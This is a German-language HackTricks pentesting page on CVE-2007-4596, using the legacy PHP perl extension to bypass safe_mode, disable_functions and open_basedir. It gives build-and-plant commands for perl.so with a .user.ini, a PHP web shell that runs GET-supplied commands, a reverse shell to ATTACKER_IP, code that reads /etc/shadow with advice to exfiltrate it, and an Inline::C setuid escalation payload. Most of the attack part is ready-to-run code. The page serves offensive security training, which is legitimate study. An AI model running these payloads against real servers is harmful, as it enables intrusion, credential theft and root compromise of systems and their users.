PHP Perl Extension Safe_mode Bypass Exploit

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Hintergrund

Das als CVE-2007-4596 bezeichnete Problem stammt von der veralteten perl PHP-Erweiterung, die einen vollständigen Perl-Interpreter einbettet, ohne die PHP-Controls safe_mode, disable_functions oder open_basedir zu beachten. Jeder PHP-Worker, der extension=perl.so lädt, erhält uneingeschränktes Perl-eval, sodass die Kommandoausführung trivial bleibt, selbst wenn alle klassischen PHP-Prozess-Spawn-Primitiven blockiert sind. Obwohl safe_mode in PHP 5.4 entfernt wurde, liefern viele veraltete Shared-Hosting-Stacks und anfällige Labs es noch, sodass dieser Bypass weiterhin nützlich ist, wenn man auf Legacy-Control-Panels landet.

Kompatibilität & Packaging-Status (2025)

  • Die letzte PECL-Version (perl-1.0.1, 2013) richtet sich an PHP ≥5.0; PHP 8+ schlägt im Allgemeinen fehl, weil sich die Zend-APIs geändert haben.
  • PECL wird durch PIE ersetzt, aber ältere Stacks liefern weiterhin PECL/pear. Verwende den untenstehenden Ablauf auf PHP 5/7-Zielen; bei neueren PHP-Versionen rechne damit, herunterzustufen oder auf einen anderen Injection-Pfad umzusteigen (z. B. userland FFI).

Aufbau einer testbaren Umgebung (2025)

  • Hole perl-1.0.1 von PECL, kompiliere sie für den PHP-Zweig, den du angreifen willst, und lade sie global (php.ini) oder via dl() (falls erlaubt).
  • Schnelles Debian-basiertes Lab-Rezept:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • Bestätige während der Ausnutzung die Verfügbarkeit mit var_dump(extension_loaded('perl')); oder print_r(get_loaded_extensions());. Wenn nicht vorhanden, suche nach perl.so oder missbrauche beschreibbare php.ini/.user.ini-Einträge, um es zu erzwingen.
  • Da der Interpreter im PHP-Worker lebt, werden keine externen Binaries benötigt — Netzwerk-Egress-Filter oder proc_open-Blacklists sind irrelevant.

Lokale Build-Toolchain, wenn phpize erreichbar ist

Wenn phpize und build-essential auf dem kompromittierten Host vorhanden sind, kannst du perl.so kompilieren und ablegen, ohne auf das OS zu shellen:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

Wenn open_basedir erzwungen ist, stelle sicher, dass die abgelegten .user.ini und .so in einem erlaubten Pfad liegen; die extension=-Direktive wird innerhalb des basedir weiterhin beachtet. Der Kompilierungsablauf entspricht dem PHP-Handbuch für das Erstellen von PECL-Extensions.

Original PoC (NetJackal)

Von http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, nach wie vor praktisch, um zu bestätigen, dass die Extension auf eval reagiert:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Moderne Payload-Verbesserungen

1. Full TTY over TCP

Der eingebettete Interpreter kann IO::Socket laden, selbst wenn /usr/bin/perl blockiert ist:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape selbst mit open_basedir

Perl ignoriert PHP’s open_basedir, daher können Sie beliebige Dateien lesen:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Leite die Ausgabe über IO::Socket::INET oder Net::HTTP, um Daten zu exfiltrate, ohne PHP-verwaltete Deskriptoren zu berühren.

3. Inline Compilation for Privilege Escalation

Wenn Inline::C systemweit vorhanden ist, kompiliere Hilfsfunktionen innerhalb der Anfrage, ohne dich auf PHP’s ffi oder pcntl zu verlassen:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Behandle Perl wie ein LOLBAS-Toolkit — z. B. MySQL-DSNs auslesen, selbst wenn mysqli fehlt:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks